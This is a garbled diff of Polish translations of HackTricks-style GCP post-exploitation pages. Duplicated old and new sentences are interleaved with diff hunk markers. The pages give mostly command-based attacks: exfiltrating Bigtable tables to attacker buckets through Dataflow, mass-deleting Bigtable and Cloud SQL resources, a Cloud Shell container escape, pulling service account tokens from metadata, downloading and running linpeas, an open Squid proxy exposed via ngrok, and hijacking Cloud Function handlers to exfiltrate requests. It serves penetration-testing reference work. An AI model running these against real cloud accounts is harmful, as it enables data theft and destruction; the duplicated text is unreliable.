Możliwe jest wyeksfiltrowanie zawartości całej tabeli do bucketu kontrolowanego przez atakującego poprzez uruchomienie zadania Dataflow, które strumieniuje wiersze do GCS bucketu będącego pod Twoją kontrolą.
Możliwe jest eksfiltracja zawartości całej tabeli do bucketu kontrolowanego przez atakującego przez uruchomienie zadania Dataflow, które przesyła wiersze do GCS bucketu, którym zarządzasz.
> [!NOTE]
> Pamiętaj, że będziesz potrzebować uprawnienia `iam.serviceAccounts.actAs` nad odpowiednim SA posiadającym wystarczające uprawnienia do wykonania eksportu (domyślnie, jeśli nie wskazano inaczej, użyty zostanie domyślny compute SA).
> Zwróć uwagę, że będziesz potrzebować uprawnienia `iam.serviceAccounts.actAs` nad jakimś SA z wystarczającymi uprawnieniami do wykonania eksportu (domyślnie, jeśli nie wskazano inaczej, użyty zostanie domyślny compute SA).
<details>
<summary>Eksportuj Bigtable do GCS bucket</summary>
```bash
gcloud dataflow jobs run <job-name> \
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
@@ -70,19 +92,23 @@ gcloud dataflow jobs run dump-bigtable3 \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
> [!NOTE]
> Switch the template to `Cloud_Bigtable_to_GCS_Parquet` or `Cloud_Bigtable_to_GCS_SequenceFile` if you want Parquet/SequenceFile outputs instead of JSON. The permissions are the same; only the template path changes.
### Import rows
**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
Możliwe jest zaimportowanie zawartości całej tabeli z bucketu kontrolowanego przez atakującego poprzez uruchomienie zadania Dataflow, które przesyła wiersze do GCS bucketu kontrolowanego przez Ciebie. W tym celu atakujący będzie musiał najpierw utworzyć plik parquet z danymi do zaimportowania o oczekiwanym schemacie. Atakujący może najpierw wyeksportować dane w formacie parquet, stosując poprzednią technikę z ustawieniem `Cloud_Bigtable_to_GCS_Parquet`, a następnie dodać nowe wpisy do pobranego pliku parquet
</details>
> [!NOTE]
> Note that you will need the permission `iam.serviceAccounts.actAs` over a some SA with enough permissions to perform the export (by default, if not aindicated otherwise, the default compute SA will be used).
> Switch the template to `Cloud_Bigtable_to_GCS_Parquet` or `Cloud_Bigtable_to_GCS_SequenceFile` jeśli chcesz wyjścia Parquet/SequenceFile zamiast JSON. Uprawnienia są takie same; zmienia się tylko ścieżka szablonu.
### Import wierszy
**Uprawnienia:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
Możliwe jest zaimportowanie zawartości całej tabeli z bucketu kontrolowanego przez attacker poprzez uruchomienie zadania Dataflow, które przesyła wiersze do GCS bucketu, który kontrolujesz. W tym celu attacker najpierw będzie musiał utworzyć plik parquet z danymi do zaimportowania zgodny z oczekiwaną schemą. Attacker może najpierw wyeksportować dane w formacie parquet, stosując poprzednią technikę z ustawieniem `Cloud_Bigtable_to_GCS_Parquet`, i dodać nowe wpisy do pobranego pliku parquet.
> [!NOTE]
> Zwróć uwagę, że będziesz potrzebować uprawnienia `iam.serviceAccounts.actAs` nad jakimś SA z wystarczającymi uprawnieniami do wykonania eksportu (domyślnie, jeśli nie wskazano inaczej, używany będzie domyślny compute SA).
<details>
<summary>Import z GCS bucketu do Bigtable</summary>
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
@@ -99,11 +125,17 @@ gcloud dataflow jobs run import-bt-$(date +%s) \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
</details>
### Przywracanie kopii zapasowych
**Uprawnienia:** `bigtable.backups.restore`, `bigtable.tables.create`.
Atakujący z tymi uprawnieniami może przywrócić kopię zapasową do nowej tabeli pod swoją kontrolą, aby móc odzyskać starsze poufne dane.
Atakujący z tymi uprawnieniami może przywrócić kopię zapasową do nowej tabeli pod swoją kontrolą, aby odzyskać starsze wrażliwe dane.
<details>
<summary>Przywróć kopię zapasową Bigtable</summary>
```bash
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
--cluster=<CLUSTER_ID_SOURCE>
@@ -115,16 +147,22 @@ gcloud bigtable instances tables restore \
--destination-instance=<INSTANCE_ID_DESTINATION> \
--project=<PROJECT_ID_DESTINATION>
```
</details>
### Przywracanie tabel
**Uprawnienia:** `bigtable.tables.undelete`
Bigtable obsługuje miękkie usuwanie z okresem karencji (zwykle domyślnie 7 dni). W tym oknie czasowym attacker z uprawnieniem `bigtable.tables.undelete` może przywrócić niedawno usuniętą tabelę i odzyskać wszystkie jej dane, potencjalnie uzyskując dostęp do wrażliwych informacji, które uważano za zniszczone.
Bigtable obsługuje soft-deletion z okresem karencji (zazwyczaj 7 dni). W tym czasie atakujący posiadający uprawnienie `bigtable.tables.undelete` może przywrócić niedawno usuniętą tabelę i odzyskać wszystkie jej dane, potencjalnie uzyskując dostęp do wrażliwych informacji, które uznano za zniszczone.
To jest szczególnie przydatne do:
- Odzyskiwania danych z tabel usuniętych przez defenders podczas incident response
- Uzyskiwania dostępu do danych historycznych, które zostały celowo usunięte
- Odwracania przypadkowych lub złośliwych usunięć w celu utrzymania persistence
Jest to szczególnie przydatne do:
- Odzyskiwania danych z tabel usuniętych przez obrońców podczas reakcji na incydent
- Dostępu do danych historycznych, które zostały celowo usunięte
- Cofania przypadkowych lub złośliwych usunięć w celu utrzymania dostępu
<details>
<summary>Przywróć tabelę Bigtable</summary>
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
@@ -134,18 +172,24 @@ gcloud bigtable instances tables list --instance=<instance-id> \
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>
```
</details>
> [!NOTE]
> Operacja undelete działa tylko w ramach skonfigurowanego okresu retencji (domyślnie 7 dni). Po upływie tego okresu tabela i jej dane są trwale usuwane i nie można ich odzyskać tą metodą.
> Operacja undelete działa tylko w ramach skonfigurowanego okresu retencji (domyślnie 7 dni). Po upływie tego okna tabela i jej dane są trwale usuwane i nie można ich odzyskać tą metodą.
### Utwórz autoryzowane widoki
### Tworzenie autoryzowanych widoków
**Uprawnienia:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
Autoryzowane widoki pozwalają przedstawić wyselekcjonowany podzbiór tabeli. Zamiast polegać na zasadzie najmniejszych uprawnień, użyj ich do opublikowania **dokładnie tych wrażliwych zestawów kolumn/wierszy**, na których Ci zależy, i umieść własny principal na białej liście.
Autoryzowane widoki pozwalają przedstawić selekcjonowany podzbiór tabeli. Zamiast przestrzegać zasady najmniejszych uprawnień, użyj ich do opublikowania **dokładnie tych wrażliwych zestawów kolumn/wierszy**, na których ci zależy, i umieść na białej liście własny principal.
> [!WARNING]
> Rzecz w tym, że aby utworzyć autoryzowany widok, musisz również mieć możliwość odczytu i modyfikacji wierszy w tabeli bazowej, więc nie uzyskujesz żadnych dodatkowych uprawnień — w związku z tym technika ta jest w większości bezużyteczna.
> Rzecz w tym, że aby utworzyć autoryzowany widok, musisz także mieć możliwość odczytu i modyfikacji wierszy w tabeli bazowej, więc nie uzyskujesz żadnych dodatkowych uprawnień — dlatego ta technika jest w większości bezużyteczna.
<details>
<summary>Utwórz autoryzowany widok</summary>
```bash
cat <<'EOF' > /tmp/credit-cards.json
{
@@ -168,13 +212,19 @@ gcloud bigtable authorized-views add-iam-policy-binding card-dump \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
```
Ponieważ dostęp jest ograniczony do widoku, obrońcy często przeoczają fakt, że właśnie utworzyłeś nowy wysoko wrażliwy endpoint.
</details>
### Odczyt Authorized Views
Ponieważ dostęp jest ograniczony do widoku, obrońcy często przeoczają fakt, że właśnie utworzyłeś nowy wysokoczuły endpoint.
**Uprawnienia:** `bigtable.authorizedViews.readRows`
### Odczyt autoryzowanych widoków
Jeśli masz dostęp do Authorized View, możesz odczytywać z niego dane za pomocą bibliotek klienckich Bigtable, podając nazwę Authorized View w żądaniach odczytu. Zwróć uwagę, że Authorized View prawdopodobnie będzie ograniczać zakres tego, do czego masz dostęp w tabeli. Poniżej przykład w Pythonie:
**Permissions:** `bigtable.authorizedViews.readRows`
Jeśli masz dostęp do autoryzowanego widoku, możesz odczytywać z niego dane za pomocą bibliotek klienta Bigtable, podając nazwę autoryzowanego widoku w żądaniach odczytu. Zwróć uwagę, że autoryzowany widok prawdopodobnie będzie ograniczał to, do czego masz dostęp w tabeli. Poniżej znajduje się przykład w Pythonie:
<details>
<summary>Odczyt z autoryzowanego widoku (Python)</summary>
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
@@ -209,19 +259,25 @@ qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'v
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f" {family}:{qualifier} = {value}")
```
</details>
### Denial of Service via Delete Operations
**Uprawnienia:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
Jakiekolwiek uprawnienie do usuwania w Bigtable może zostać wykorzystane do denial of service attacks. Atakujący posiadający te uprawnienia może zakłócić działanie, usuwając kluczowe zasoby Bigtable:
Jakiekolwiek uprawnienia do usuwania w Bigtable mo zostać wykorzystane w atakach denial of service. Atakujący posiadający te uprawnienia może zakłócić działanie poprzez usunięcie krytycznych zasobów Bigtable:
- **`bigtable.appProfiles.delete`**: Usunięcie profili aplikacji, co przerywa połączenia klientów i konfiguracje routingu
- **`bigtable.authorizedViews.delete`**: Usunięcie autoryzowanych widoków, odcinając legalne ścieżki dostępu dla aplikacji
- **`bigtable.authorizedViews.deleteTagBinding`**: Usunięcie powiązań tagów z autoryzowanych widoków
- **`bigtable.backups.delete`**: Usunięcie kopii zapasowych, eliminując opcje odzyskiwania po awarii
- **`bigtable.appProfiles.delete`**: Usunięcie profili aplikacji, powodując przerwanie połączeń klientów i konfiguracji routingu
- **`bigtable.authorizedViews.delete`**: Usunięcie authorized views, odcinając legalne ścieżki dostępu dla aplikacji
- **`bigtable.authorizedViews.deleteTagBinding`**: Usunięcie powiązań tagów z authorized views
- **`bigtable.backups.delete`**: Zniszczenie snapshotów kopii zapasowych, eliminując opcje odzyskiwania po awarii
- **`bigtable.clusters.delete`**: Usunięcie całych klastrów, powodując natychmiastową niedostępność danych
- **`bigtable.instances.delete`**: Usunięcie całych instancji Bigtable, niszcząc wszystkie tabele i konfiguracje
- **`bigtable.instances.delete`**: Usunięcie całych instancji Bigtable, kasując wszystkie tabele i konfiguracje
- **`bigtable.tables.delete`**: Usunięcie pojedynczych tabel, powodując utratę danych i awarie aplikacji
<details>
<summary>Usuń zasoby Bigtable</summary>
```bash
# Delete a table
gcloud bigtable instances tables delete <table-id> \
@@ -246,7 +302,9 @@ gcloud bigtable clusters delete <cluster-id> \
# Delete an entire instance
gcloud bigtable instances delete <instance-id>
```
</details>
> [!WARNING]
> Operacje usuwania są często natychmiastowe i nieodwracalne. Upewnij się, że istnieją kopie zapasowe przed testowaniem tych poleceń, ponieważ mogą spowodować trwałą utratę danych i poważne zakłócenie działania usług.
> Operacje usuwania są często natychmiastowe i nieodwracalne. Upewnij się, że istnieją kopie zapasowe przed testowaniem tych poleceń, ponieważ mogą one spowodować trwałą utratę danych i poważne zakłócenia w działaniu usługi.
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,10 +1,10 @@
# GCP - Cloud Build Po Eksploatacji
# GCP - Cloud Build Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Build
Aby uzyskać więcej informacji na temat Cloud Build, sprawdź:
Aby uzyskać więcej informacji o Cloud Build, sprawdź:
{{#ref}}
../gcp-services/gcp-cloud-build-enum.md
@@ -12,7 +12,11 @@ Aby uzyskać więcej informacji na temat Cloud Build, sprawdź:
### `cloudbuild.builds.approve`
Dzięki temu uprawnieniu możesz zatwierdzić wykonanie **codebuild, który wymaga zatwierdzeń**.
Dzięki temu uprawnieniu możesz zatwierdzać wykonanie **codebuild that require approvals**.
<details>
<summary>Zatwierdź wykonanie Cloud Build</summary>
```bash
# Check the REST API in https://cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/approve
curl -X POST \
@@ -24,4 +28,6 @@ object (ApprovalResult)
}}' \
"https://cloudbuild.googleapis.com/v1/projects/<PROJECT_ID>/locations/<LOCATION>/builds/<BUILD_ID>:approve"
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,20 +12,30 @@ Znajdź informacje o Cloud Functions w:
### `cloudfunctions.functions.sourceCodeGet`
Dzięki temu uprawnieniu możesz uzyskać **podpisany URL, aby pobrać kod źródłowy** funkcji chmurowej:
Dzięki temu uprawnieniu możesz uzyskać **podpisany URL umożliwiający pobranie kodu źródłowego** funkcji Cloud Function:
<details>
<summary>Pobierz podpisany URL umożliwiający pobranie kodu źródłowego</summary>
```bash
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
### Kradzież żądań funkcji chmurowej
</details>
Jeśli funkcja chmurowa zarządza wrażliwymi informacjami, które użytkownicy wysyłają (np. hasła lub tokeny), mając wystarczające uprawnienia, możesz **zmodyfikować kod źródłowy funkcji i wyeksportować** te informacje.
### Przechwytywanie żądań Cloud Function
Ponadto, funkcje chmurowe działające w pythonie używają **flask** do udostępniania serwera internetowego. Jeśli w jakiś sposób znajdziesz lukę w kodzie wewnątrz procesu flaks (na przykład lukę SSTI), możliwe jest **nadpisanie obsługi funkcji**, która ma odbierać żądania HTTP na **złośliwą funkcję**, która może **wyeksportować żądanie** przed przekazaniem go do legalnej obsługi.
Jeżeli Cloud Function przetwarza poufne informacje przesyłane przez użytkowników (np. passwords lub tokens), przy wystarczających uprawnieniach możesz **zmodyfikować kod źródłowy funkcji i exfiltrate** te informacje.
Ponadto, Cloud Functions uruchamiane w python używają **flask** do wystawienia serwera WWW; jeśli w jakiś sposób znajdziesz podatność na code injection w procesie flaks (na przykład podatność SSTI), możliwe jest **nadpisanie function handlera**, który będzie odbierał żądania HTTP dla **malicious function**, która może **exfiltrate the request** zanim przekaże je do prawidłowego handlera.
Na przykład ten kod implementuje atak:
<details>
<summary>Przechwytywanie żądań Cloud Function (Python injection)</summary>
```python
import functions_framework
@@ -122,4 +132,8 @@ return "Injection completed!"
except Exception as e:
return str(e)
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,33 +1,49 @@
# GCP - Cloud Shell Po Eksploatacji
# GCP - Cloud Shell Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Shell
Aby uzyskać więcej informacji na temat Cloud Shell, sprawdź:
Więcej informacji o Cloud Shell znajdziesz w:
{{#ref}}
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}
### Ucieczka z Kontenera
### Container Escape
Zauważ, że Google Cloud Shell działa w kontenerze, możesz **łatwo uciec do hosta** wykonując:
Zwróć uwa, że Google Cloud Shell działa wewnątrz kontenera — możesz **easily escape to the host** wykonując:
<details>
<summary>Container escape commands</summary>
```bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
```
To nie jest uważane za lukę przez Google, ale daje szerszy obraz tego, co dzieje się w tym środowisku.
</details>
Ponadto zauważ, że z hosta możesz znaleźć token konta usługi:
To nie jest uznawane przez google za vulnerability, ale daje ci szerszy obraz tego, co dzieje się w tym środowisku.
Ponadto zauważ, że z hosta możesz znaleźć service account token:
<details>
<summary>Uzyskaj service account z metadanych</summary>
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
```
Z następującymi zakresem:
</details>
Z następującymi zakresami:
<details>
<summary>Pobierz zakresy service account</summary>
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
@@ -35,48 +51,92 @@ https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
```
Enumeracja metadanych za pomocą LinPEAS:
</details>
Wylistuj metadane przy użyciu LinPEAS:
<details>
<summary>Wylistuj metadane przy użyciu LinPEAS</summary>
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
```
Po użyciu [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) z tokenem Konta Usługi **nie odkryto żadnych uprawnień**...
</details>
### Użyj jako Proxy
Po użyciu [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) z tokenem Service Account **nie wykryto żadnych uprawnień**...
Jeśli chcesz użyć swojej instancji google cloud shell jako proxy, musisz uruchomić następujące polecenia (lub wstawić je do pliku .bashrc):
### Użyj go jako Proxy
Jeśli chcesz użyć swojej instancji google cloud shell jako Proxy, musisz uruchomić następujące polecenia (lub wstawić je do pliku .bashrc):
<details>
<summary>Zainstaluj Squid proxy</summary>
```bash
sudo apt install -y squid
```
Utwórz plik **squid.conf** z następującymi ustawieniami:
</details>
Dla twojej informacji Squid to serwer proxy HTTP. Utwórz plik **squid.conf** z następującymi ustawieniami:
<details>
<summary>Utwórz plik squid.conf</summary>
```bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all
```
</details>
skopiuj plik **squid.conf** do **/etc/squid**
<details>
<summary>Skopiuj konfigurację do /etc/squid</summary>
```bash
sudo cp squid.conf /etc/squid
```
</details>
Na koniec uruchom usługę squid:
<details>
<summary>Uruchom usługę squid</summary>
```bash
sudo service squid start
```
Użyj ngrok, aby udostępnić proxy z zewnątrz:
</details>
Użyj ngrok, aby proxy było dostępne z zewnątrz:
<details>
<summary>Udostępnij proxy przez ngrok</summary>
```bash
./ngrok tcp 3128
```
Po uruchomieniu skopiuj adres tcp://. Jeśli chcesz uruchomić proxy z przeglądarki, zaleca się usunięcie części tcp:// oraz portu i wprowadzenie portu w polu portu ustawień proxy przeglądarki (squid to serwer proxy http).
</details>
Aby lepiej wykorzystać przy starcie, plik .bashrc powinien zawierać następujące linie:
Po uruchomieniu skopiuj adres zaczynający się od tcp://. Jeśli chcesz korzystać z proxy z poziomu przeglądarki, zaleca się usunąć część tcp:// oraz numer portu i wpisać numer portu w polu portu w ustawieniach proxy przeglądarki (squid jest serwerem proxy HTTP).
Aby ułatwić użycie przy starcie, plik .bashrc powinien zawierać następujące linie:
<details>
<summary>Dodaj do .bashrc dla automatycznego uruchamiania</summary>
```bash
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128
```
Instrukcje zostały skopiowane z [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Sprawdź tę stronę, aby znaleźć inne szalone pomysły na uruchamianie wszelkiego rodzaju oprogramowania (baz danych, a nawet Windows) w Cloud Shell.
</details>
Instrukcje zostały skopiowane z [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Sprawdź tę stronę, aby znaleźć inne szalone pomysły na uruchamianie dowolnego oprogramowania (bazy danych, a nawet Windows) w Cloud Shell.
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Cloud SQL
Aby uzyskać więcej informacji na temat Cloud SQL, sprawdź:
Aby uzyskać więcej informacji o Cloud SQL sprawdź:
{{#ref}}
../gcp-services/gcp-cloud-sql-enum.md
@@ -12,7 +12,11 @@ Aby uzyskać więcej informacji na temat Cloud SQL, sprawdź:
### `cloudsql.instances.update`, ( `cloudsql.instances.get`)
Aby połączyć się z bazami danych, **wystarczy mieć dostęp do portu bazy danych** oraz znać **nazwa użytkownika** i **hasło**, nie ma żadnych wymagań dotyczących IAM. Zatem łatwym sposobem na uzyskanie dostępu, zakładając, że baza danych ma publiczny adres IP, jest zaktualizowanie dozwolonych sieci i **zezwolenie na dostęp z własnego adresu IP**.
Aby połączyć się z bazami danych **wystarczy mieć dostęp do portu bazy danych** oraz znać **username** i **password**, nie ma żadnych wymagań związanych z IAM. Zatem prosty sposób uzyskania dostępu, zakładając że baza ma publiczny adres IP, to zaktualizować dozwolone sieci i **dodać swój adres IP, aby uzyskać do niej dostęp**.
<details>
<summary>Zezwól na swój adres IP i połącz się z bazą danych</summary>
```bash
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
@@ -25,61 +29,111 @@ mysql -h <ip_db> # If mysql
# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet
```
Możliwe jest również użycie **`--no-backup`** do **zakłócenia kopii zapasowych** bazy danych.
</details>
Ponieważ to są wymagania, nie jestem do końca pewien, jakie uprawnienia mają **`cloudsql.instances.connect`** i **`cloudsql.instances.login`**. Jeśli wiesz, wyślij PR!
Można też użyć **`--no-backup`**, aby **zakłócić tworzenie kopii zapasowych** bazy danych.
Ponieważ to są wymagania, nie jestem do końca pewien, do czego służą uprawnienia **`cloudsql.instances.connect`** i **`cloudsql.instances.login`**. Jeśli wiesz, wyślij PR!
### `cloudsql.users.list`
Uzyskaj **listę wszystkich użytkowników** bazy danych:
<details>
<summary>Lista użytkowników bazy danych</summary>
```bash
gcloud sql users list --instance <intance-name>
```
</details>
### `cloudsql.users.create`
To uprawnienie pozwala na **utworzenie nowego użytkownika wewnątrz** bazy danych:
To uprawnienie pozwala **utworz nowego użytkownika wewnątrz** bazy danych:
<details>
<summary>Utwórz użytkownika bazy danych</summary>
```bash
gcloud sql users create <username> --instance <instance-name> --password <password>
```
</details>
### `cloudsql.users.update`
To uprawnienie pozwala na **aktualizację użytkownika wewnątrz** bazy danych. Na przykład, możesz zmienić jego hasło:
To uprawnienie pozwala **modyfikować użytkownika w** bazie danych. Na przykład możesz zmienić jego hasło:
<details>
<summary>Zaktualizuj hasło użytkownika</summary>
```bash
gcloud sql users set-password <username> --instance <instance-name> --password <password>
```
</details>
### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`
Kopie zapasowe mogą zawierać **stare informacje wrażliwe**, więc warto je sprawdzić.\
**Przywróć kopię zapasową** w bazie danych:
Kopie zapasowe mogą zawierać **stare wrażliwe informacje**, więc warto je sprawdzić.\
**Przywróć kopię zapasową** w obrębie bazy danych:
<details>
<summary>Przywróć kopię zapasową bazy danych</summary>
```bash
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
```
Aby zrobić to w bardziej dyskretny sposób, zaleca się utworzenie nowej instancji SQL i odzyskanie danych tam, zamiast w aktualnie działających bazach danych.
</details>
Aby zrobić to bardziej dyskretnie, zaleca się utworzyć nową instancję SQL i odzyskać tam dane zamiast w aktualnie działających bazach danych.
### `cloudsql.backupRuns.delete`
To uprawnienie pozwala na usuwanie kopii zapasowych:
To uprawnienie pozwala usuwać kopie zapasowe:
<details>
<summary>Usuń kopię zapasową</summary>
```bash
gcloud sql backups delete <backup-id> --instance <instance-id>
```
</details>
### `cloudsql.instances.export`, `storage.objects.create`
**Eksportuj bazę danych** do Cloud Storage Bucket, aby mieć do niej dostęp stamtąd:
**Eksportuj bazę danych** do Cloud Storage Bucket, aby móc uzyskać do niej dostęp:
<details>
<summary>Eksport bazy danych do Cloud Storage Bucket</summary>
```bash
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
```
</details>
### `cloudsql.instances.import`, `storage.objects.get`
**Importuj bazę danych** (nadpisz) z Cloud Storage Bucket:
**Import bazy danych** (nadpisanie) z Cloud Storage Bucket:
<details>
<summary>Import bazy danych z bucketu</summary>
```bash
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
```
</details>
### `cloudsql.databases.delete`
Usuń bazę danych z instancji db:
Usuń bazę danych z instancji DB:
<details>
<summary>Usuń bazę danych</summary>
```bash
gcloud sql databases delete <db-name> --instance <instance-id>
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,24 +4,30 @@
## Compute
Aby uzyskać więcej informacji na temat Compute i VPC (Networking), sprawdź:
Aby uzyskać więcej informacji o Compute i VPC (Networking), sprawdź:
{{#ref}}
../gcp-services/gcp-compute-instances-enum/
{{#endref}}
### Eksportuj i sprawdź obrazy lokalnie
### Eksport i przegląd obrazów lokalnie
To pozwoliłoby atakującemu na **uzyskanie dostępu do danych zawartych w już istniejących obrazach** lub **utworzenie nowych obrazów działających VM** i uzyskanie dostępu do ich danych bez dostępu do działającej VM.
Pozwoli to atakującemu na **uzyskanie dostępu do danych zawartych w już istniejących obrazach** lub **utworzenie nowych obrazów działających VM-ów** i dostęp do ich danych bez dostępu do uruchomionej maszyny wirtualnej.
Możliwe jest wyeksportowanie obrazu VM do koszyka, a następnie pobranie go i zamontowanie lokalnie za pomocą polecenia:
Można wyeksportować obraz VM do bucketu, a następnie pobrać go i zamontować lokalnie poleceniem:
<details>
<summary>Eksportuj i pobierz obraz VM</summary>
```bash
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally
```
Aby wykonać tę akcję, atakujący może potrzebować uprawnień do zasobnika pamięci masowej i na pewno **uprawnień do cloudbuild**, ponieważ to **usługa**, która zostanie poproszona o wykonanie eksportu.\
Ponadto, aby to zadziałało, SA codebuild i SA compute muszą mieć uprawnienia uprzywilejowane.\
SA cloudbuild `<project-id>@cloudbuild.gserviceaccount.com` potrzebuje:
</details>
Aby wykonać tę akcję atakujący może potrzebować uprawnień do storage bucket i z pewnością **uprawnień do cloudbuild**, ponieważ to ten **service** zostanie poproszony o przeprowadzenie eksportu\
Co więcej, aby to zadziałało codebuild SA i compute SA potrzebują uprzywilejowanych uprawnień.\
cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` potrzebuje:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
@@ -29,12 +35,16 @@ SA cloudbuild `<project-id>@cloudbuild.gserviceaccount.com` potrzebuje:
A SA `<project-id>-compute@developer.gserviceaccount.com` potrzebuje:
- roles/compute.storageAdmin
- oles/compute.storageAdmin
- roles/storage.objectAdmin
### Eksportuj i sprawdź migawki i dyski lokalnie
### Eksport & Inspekcja Snapshots & Disks lokalnie
Nie można bezpośrednio eksportować migawek i dysków, ale możliwe jest **przekształcenie migawki w dysk, dysku w obraz** i zgodnie z **poprzednią sekcją**, wyeksportowanie tego obrazu, aby go sprawdzić lokalnie.
Nie można bezpośrednio eksportować snapshots i disks, ale można **przekształcić snapshot w disk, disk w image** i zgodnie z **poprzednią sekcją**, wyeksportować ten image, aby sprawdzić go lokalnie
<details>
<summary>Utwórz disk ze snapshot i image z disku</summary>
```bash
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
@@ -42,65 +52,115 @@ gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --
# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
```
</details>
### Inspekcja obrazu tworząc VM
W celu uzyskania dostępu do **danych przechowywanych w obrazie** lub wewnątrz **działającego VM**, z którego atakujący **utworzył obraz,** możliwe jest przyznanie zewnętrznemu kontu dostępu do obrazu:
Z zamiarem uzyskania dostępu do **danych przechowywanych w obrazie** lub wewnątrz **działającej VM** z miejsca, z którego atakujący **utworzył obraz,** możliwe jest przyznanie zewnętrznemu kontu dostępu do obrazu:
<details>
<summary>Przyznaj dostęp do obrazu i utwórz VM</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
```
a następnie utwórz nową VM z tego:
</details>
a następnie utwórz z niego nową instancję VM:
<details>
<summary>Utwórz instancję VM z obrazu</summary>
```bash
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
```
